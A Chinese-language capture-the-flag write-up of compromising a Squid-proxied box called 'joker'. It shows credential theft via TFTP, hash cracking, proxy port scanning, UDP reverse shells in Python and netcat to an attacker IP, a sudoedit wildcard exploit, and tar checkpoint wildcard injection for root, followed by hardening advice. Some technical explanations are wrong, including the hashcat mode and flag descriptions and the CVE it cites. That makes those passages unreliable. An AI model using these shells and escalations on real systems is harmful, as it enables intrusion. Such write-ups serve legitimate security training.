记一次对joker的渗透测试
字数 966 2025-08-23 18:31:34
Squid代理渗透测试与提权技术详解
1. 信息收集阶段
1.1 端口扫描
使用nmap扫描发现3个开放端口:
- 22端口:OpenSSH服务
- 69端口:TFTP服务
- 3128端口:Squid代理服务
1.2 TFTP服务利用
通过69端口TFTP服务下载到Squid配置文件:
tftp <目标IP> -c get /etc/squid/passwords
1.3 密码哈希破解
使用hashcat破解Squid配置文件中的密码哈希:
hashcat -m 1600 passwords -a 0 -w3 /usr/share/wordlists/rockyou.txt --user
参数说明:
-m 1600:指定哈希类型为NetNTLMv2-a 0:直线攻击模式(字典攻击)-w3:使用3个线程并行攻击
成功获取凭证:kalamari:ihateseafood
2. Squid代理利用
2.1 代理认证
使用获取的凭证通过Squid代理访问内部网络:
curl -U kalamari:ihateseafood -x <目标IP>:3128 http://127.0.0.1
2.2 内部端口扫描
通过代理扫描内部开放端口:
for i in {1..65535}; do
curl -s -U kalamari:ihateseafood -x 10.129.1.116:3128 127.0.0.1:${i} | grep -q "Squid Error" || echo "$i";
done
发现80端口开放
2.3 Web漏洞扫描
使用nikto通过代理扫描:
nikto -h 127.0.0.1 -useproxy http://10.129.1.116:3128
2.4 目录扫描
使用dirb通过代理扫描:
dirb http://127.0.0.1 -p 10.129.1.116:3128 -P kalamari:ihateseafood -r
3. 初始访问
3.1 Python代码执行
发现网站使用Python,尝试执行Python代码:
import os, pty, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('攻击者IP',80))
3.2 网络限制测试
测试出站连接限制:
os.system('ping -c1 攻击者IP')
使用tcpdump监听ICMP响应:
sudo tcpdump -ni tun0 icmp
发现防火墙限制:
- 仅允许UDP协议出站
4. 反弹Shell
4.1 UDP反弹Shell
Python版本:
#!/usr/bin/python
import subprocess
subprocess.Popen(['python', '-c', 'import os; import pty; import socket; s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(("攻击者IP", 1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/sh"); s.close()'])
Bash版本:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -u 攻击者IP 1234 >/tmp/f
5. 权限提升
5.1 sudoedit漏洞利用
发现sudoedit存在通配符漏洞(CVE-2017-1000367):
sudoedit /home/alekos/.*/.*/.*/.*/.*/.*/.*/etc/shadow
利用步骤:
- 生成SSH密钥:
ssh-keygen -t rsa -b 4096
- 将公钥写入目标系统
- 通过SSH登录获取更高权限
5.2 定时任务提权
使用pspy发现定时执行的tar命令:
scp -o ProxyCommand="nc -x 攻击者IP:3128 %h %p" pspy 目标用户@目标IP:/tmp/
发现定时执行:
tar cf /var/backups/alekos_backup.tar *
利用tar的checkpoint特性:
touch -- "--checkpoint-action=exec=sh shell.sh"
或对于Python版本:
touch -- "--checkpoint-action=exec=python shell.py"
6. 安全建议
-
TFTP服务加固:
- 限制可访问的文件路径
- 设置严格的访问权限
-
Squid代理加固:
- 使用强密码策略
- 限制代理访问范围
- 定期更新Squid版本
-
sudo配置加固:
- 避免在sudoedit中使用通配符
- 限制sudo权限到最小必要范围
-
定时任务加固:
- 使用绝对路径执行命令
- 避免在敏感目录执行压缩操作
- 监控关键目录的文件变更
-
防火墙策略:
- 实施最小权限原则
- 记录和监控异常出站连接
-
系统审计:
- 定期检查系统日志
- 监控特权操作
- 实施文件完整性监控